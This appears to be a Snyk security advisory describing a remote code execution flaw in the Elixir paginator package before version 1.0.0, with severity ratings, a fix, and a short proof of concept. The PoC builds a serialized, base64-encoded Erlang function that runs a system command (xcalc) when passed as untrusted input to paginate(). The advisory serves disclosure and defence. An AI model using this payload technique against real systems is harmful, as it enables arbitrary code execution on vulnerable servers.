Remote Code Execution (RCE) Affecting paginator package, versions <1.0.0


0.0
critical
  • Exploit Maturity

    Proof of concept

  • Attack Complexity

    Low

  • Confidentiality

    High

  • Integrity

    High

  • Availability

    High

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  • snyk-id

    SNYK-HEX-PAGINATOR-1086684

  • published

    30 Mar 2021

  • disclosed

    18 Aug 2020

  • credit

    Peter Stöckli

How to fix?

Upgrade paginator to version 1.0.0 or higher.

Overview

paginator is a package that enables cursor-based pagination for Elixir Ecto.

Affected versions of this package are vulnerable to Remote Code Execution (RCE) via paginate() function when untrusted input is passed from a remote user.

PoC

defp rce_start_xcalc() do
    exploit = fn _, _ ->  System.cmd("xcalc", []); {:cont, []} end
    payload =
    exploit
    |> :erlang.term_to_binary()
    |> Base.url_encode64()
end